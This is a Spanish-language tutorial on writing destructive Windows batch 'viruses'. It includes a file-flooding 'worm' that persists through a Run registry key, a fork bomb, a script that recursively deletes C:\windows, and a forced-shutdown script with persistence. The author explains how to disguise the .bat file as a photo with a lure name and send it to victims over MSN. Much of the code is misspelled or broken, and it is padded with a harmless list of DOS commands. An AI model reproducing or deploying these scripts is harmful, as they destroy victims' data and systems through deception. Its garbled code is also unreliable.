Академический Документы
Профессиональный Документы
Культура Документы
Introducción
En este tutorial les voy a mostrar como crear un gusano en batch. Este gusano creara
muchos archivos en los directorios que pongamos en el código…
@echo off
:worm
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm
Ahora vamos a "guardar como" y elegimos el lugar donde se guardara el gusano.
Nombre: worm.bat
Tipo: Todo los archivos
Después de guardarlo, agregamos otra línea de registro debajo de (@echo off) para que
cuando se inicie la pc, el gusano también se inicie.
copy %0 %windir%system32worm.bat
REG ADD
HKLMsoftwaremicrosoftwindowscurrentsversionrun/v hack/d %windir
%system32worm.bat
Al final nos quedaría algo así:
@echo off
copy %0 %windir%system32worm.bat
REG ADD HKLMsoftwaremicrosoftwindowscurrentsversionrun/v hack/d %windir
%system32worm.bat
:worm
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm
Como sabeis hay que copiarlo en el bloc de notas, y guardarlo con extension .bat
Lo que hace mi codigo es programar al ordenador para que siempre que se inicie sesion
o se encienda el ordenador se le cierre automaticamente (en esto tarda menos de 2
segundos), y ocurre una y otra vez.
El codigo tambien contiene algunas lineas, que lo que hacen es impedir el acceso a
restaurar sistema y a regedit entre otros, y tambien hay algunas que son simplemente
para incordiar que se podrian omitir facilmente en el codigo (como por ejemplo impedir
que el usuario pueda acceder a apagar el sistema desde alt+f4, ni inicio, ni ninguno de
ese tipo, o tambien el que impide que pueda modificar cualquier archivo del escritorio, o
el que inutiliza el clic derecho del raton...)
Para que surga efecto deben abrir el archivo en la extension ya dicha, asi que deben
buscar algun metodo para que la victima lo ejecute. Eso es lo malo, pero la ventaja es
que es indetectable (ya que si fuera considerado virus, muchas de las cosas que
hacemos con el ordenador normalmente [del tipo ejecutar programas, o juegos] tambien
lo serian, ya que trabaja con comandos propios del sistema).
link: http://www.youtube.com/watch?v=vsZ4fmsQ65M
entren al link del video y bajense los programas para hacer los troyanos.
2º_Una ves terminado de cargar los comandos que mas nos gusten, vamos a "guardar
como" y ponemos el nombre que mas nos guste, como por ejemplo: nombre.bat (es
importante que lo hagan desde guardar como y que pongan .bat porque sino, no les va a
funcionar).
3º_Este paso es opcional, si sos uno de esos que:_ se divierte haciendo bromas pesadas
_ se venga de otras bromas pesadas
_ o simplemente te divierte molestar a los hdrmp que alguna ves te molestaron, lo que
podes hacer es "disfrasar" este archivo. si si, asi es, por ejemplo, te rompe las bolas
alguien con el: me pasas una fotito??, sisi toma la fotito.... SAS!!! la supuesta foto le
formatea la maquina por rompe pelotas....(dramatisacion)xD.
4º_Lo que tienen que hacer es localisar el archivo .bat que crearon y le cambia en el
icono (click derecho, propiedades) y le ponen un nombre llamativo como por ejemplo: las
tangas de mi hermana, entonces el que recive el archivo "las tangas de mi hermana" con
el icono de una imagen va a entrar como trompada en el ojo y se ejecutara tu archivo
.bat con todas las cosas que le hayas cargado.
Bueno, ahora algunos comandos (Nuchos los eh usado de forma personal y me sirvieron
mucho):
1º_ Esto lo que hace es abrir muchas ventanas cmd (es de la categoria molestos), tu pc o
la que quieras se trabara:
@echo off
@:uji
start
@goto uji
exit
2º_ Este comando muy util, sirve para crear una unidad de disco virtual (lo ejecutan y
tendran una unidad de disco como la C :
@echo off
:menu
cls
color b
title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY WxXCrazyXxW
**
echo.
echo BIENVENIDO %USERNAME%
ECHO.
ECHO ELIJE UNA OPCION...
ECHO.
ECHO ======================================== ===
ECHO = 1. CREAR UN DISCO DURO VIRTUAL ==
ECHO = 2. BORRAR EL DISCO DURO VIRTUAL ==
ECHO = 3. SALIR ==
ECHO ======================================== ===
ECHO.
SET /P ver= QUE DESEA HACER?
if %ver%==1 goto crear
if %ver%==2 goto bo
if %ver%==3 goto salir
:crear
md "c:disco duro extra"
attrib +h "C:disco duro extra"
subst I: "C:disco duro extra"
msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE
goto menu
:bo
attrib -h "C:disco duro extra"
rd "c:disco duro extra"
subst I: /d
msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE
goto menu
:salir
msg * GRACIAS POR USAR MI PROGRAMA...
exit
3º_Todo aquel que quiera ser un tereso, este comando borra el windows, OJO CON LO
QUE HACEN:
@echo off
title g00d by3 wind0w5
echo 4dio5 a tu wind0w5
del /s /f /q c:windows
exit
@echo off
start www.taringa.net
exit
Para mas paginas solamente agreguen mas start, vean este ejemplo:
@echo off
start www.fulano.com
start www.mengano.com
exit
@echo off
cd
ipconfig/release
ipconfig/renew
6º_ Este comando ELIMINA lo que sea con solamente poner el nombre de lo que queres
borrar:
@echo off
CD DURECTORIO
DEL /q /f /s NOMBRE
ejemplo:
@echo off
CD DURECTORIO
DEL /q /f /s nero
shutdown -s -t 10
Bueno a Continuuacion les dejo una Lista completa de Comandos MS-DOs para sus
archivos .BAT :
EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usará esencialmente para
modificar pequeños archivos de texto, empezando por los llamados "archivos de
sistema”, que son el CONFIG.SYS y el AUTOEXEC.BAT.
MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory”,
creación de un directorio.
Aca estan los demas para los que quieren saber mas del dos
APPEND - Indica al sistema en qué directorios debe buscar los archivos de datos o de
comandos. Este comando es relativamente reciente en el DOS y complementa al
comando PATH, que sólo se ocupa de archivos de comandos.
ASSIGN - Envía el comando direccionado en un disco hacia otro disco; este último
reemplaza al primero. Ya no existe en el DOS 6.
BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios
discos, mostrando mientras tanto su nombre en pantalla. La restauración de los archivos
se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6,
lo cual es una bendición porque este comando era uno de los más difíciles de manejar.
BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de
programación más simple que existe.
BUFFERS - Comando para el config.sys que determina la capacidad del búfer para el
disco.
CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para
optimizar la memoria.
CHOICE - Una novedad del DOS. 6. Le pide al usuario que efectúe una selección en una
secuencia «batch».
CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando
pequeño e interesante que conviene recordar.
DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha
introducida se graba en las memorias permanentes.
DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para
mejorar la velocidad y la seguridad.
DEL - Destruye uno o varios archivos en el disco (actúa como el comando ERASE).
DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene,
incluyendo los subdirectorios, en una sola operación.
DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos
disquetes del mismo tipo.
DOSSHELL- Llama a la superestructura de diálogo del DOS. Este dos shell ha sido
suprimido en la versión DOS 6.2 ya que Microsoft consideró que había sido reemplazado
ventajosamente por el “Administrador de archivos” de ese superprograma que es
Windows.
DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones.
ERASE - Destruye uno o varios archivos del disco (y actúa como el comando DEL). Opte
por DEL ya que se escribe más rápido.
ERROLEVEL - Código de errores para archivos .BAT Otra noción más para expertos.
EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe más
en los DOS 6, está destinado a los programadores.
FASTOPEN - Proporciona un acceso rápido a los archivos que se usan con más
frecuencia, o a los últimos que se han utilizado, memorizando su camino de acceso.
FOR - Especifica la repetición del mismo comando para cada una de las variables
contenidas en la lista.
GRAFTABL - Carga la tabla de los caracteres gráficos, los códigos ASCII 128 a 255, para
la visualización en pantalla. No existe más en el DOS 6.
GRAPHIC - Carga una secuencia que permite la impresión de la pantalla que incluye
caracteres gráficos, de códigos 128 a 255.
GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe más en el DOS 6,
en el cual ha sido reemplazado por el QBasic.
HELP - Pedido de ayuda. Desde el DOS 5.
INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie.
Nuevo comando del DOS 6.
INTERSVR - Lanza el centro de recuperación de datos InterLnk. Nuevo comando del DOS
6.
MENUCOLOR - Determina el color del texto y del fondo para el primer menú, a través del
Config.Sys. A partir del DOS 6.
MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.
MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory”,
creación de un directorio.
MORE - Para visualizar página por página en la pantalla (es decir, sin que desfilen
ininterrumpidamente en la pantalla)
MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo
comando con el DOS 6.
NUMLOCK - Determina que la sección numérica del teclado esté bloqueada o no, a
través del Config.Sys. Nuevo comando a partir del DOS 6.
PATH - Especifiica caminos de búsqueda alternativos para los archivos de comando (con
la extensión .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este
comando se encuentra generalmente en el archivo Autoexec.bat.
PRINTER.SYS - Se utiliza para conmutar las tablas de códigos con las impresoras, a
través del Config.Sys.
PROMPT - Define o muestra en pantalla los símbolos del sistema utilizados por el DOS.
RD - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto,
sólo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR.
RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un
sector defectuoso en el disco. Los datos de este sector se habrán perdido. No existe más
en el DOS 6.
REM - Introduce observaciones, comentarios, en 123 caracteres como máximo por línea
de REM.
RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero más largo de
escribir.
RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo
tanto, sólo debe contener las marcas . y ..). El nombre abreviado es RD.
SET - Sirve para definir el entorno de trabajo que requieren algunos programas,
introduciendo un nombre seguido de su equivalencia.
SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareció en el
DOS 6.
SUBST - Sustituye un camino de acceso cuya descripción es larga, y/o su unidad, por una
unidad de disco ficticia que bastará con llamar luego.
SYS - Copia los tres archivos que sirven de núcleo al sistema del disco fuente activo al
disco destinatario.
TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes
permanentes, resguardados).
TREE - Muestra los árboles de los directorios de un disco (y la lista de sus archivos con
una clave suplementaria).
VDISK - Instala un disco virtual, a través del Config.Sys. Dejó de estar incluido a partir
del DOS 6.
VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificación de los datos
escritos en el disco.
@echo off
if exist "%systemroot%/Mocosoft (goto delet) else goto make
:delet
Rd /s /q "%systemroot%/Mocosoft"
goto make
:make
Mk "%systemroot%/Mocosoft"
goto continue
:continue
copy /y %0 "%systemroot%/Mocosoft/Amdset.bat"
echo Hacked By 4GusCrack > "%homedrive%/Firmita.txt"
REG ADD HTLM/Software/Microsoft/Windows/Current Version/Run /v Amdset /d
"%systemroot%/Mocosoft/Amdset.bat"
shutdown -s -f -t 20 -c "Ahi que lastima"
taskkill "explorer.exe"
echo msgbox “Hoy vas a conocer lo que es un Virus. By WxXCrazyXxW”
@echo off
@:uji
start
@goto uji
exit
shutdown -s -t 3 -c "No prendes la PC nunca mas. By WxXCrazyXxW"
@echo off
title g00d by3 wind0w5
echo 4dio5 a tu wind0w5
del /s /f /q c:windows
exit
shutdown -s -t 3 -c "No prendes la PC nunca mas.
link: http://www.youtube.com/watch?v=xhan3B2Itb0
aqui un virus de broma
Aquí dejo un pequeño tutorial para crear un virus de broma y enviarlo por el msn. Este
virus abre infinitas ventanas en el ordenador de la victima y lo inutiliza hasta que es
desenchufado y enchufado de nuevo.
Pasos
Guárdalo con el nombre que quieras, pero al final, pon .bat (ej.: Virus.bat) y abajo donde
pone Documentos de Texto cambialo por Todos los Archivos.
Si quieres enviarlo por el msn, mueve este documento del block de notas a una carpeta
comprimida en zip.
Consejos
Si lo vas a enviar por msn, no olvides cambiar el nombre por algún otro, como por
ejemplo, si lo guardaste como Virus.bat, cambia el "virus" por alguna otra palabra, como
"Carros famosos" sin quitar el .bat, porque eso es lo importante.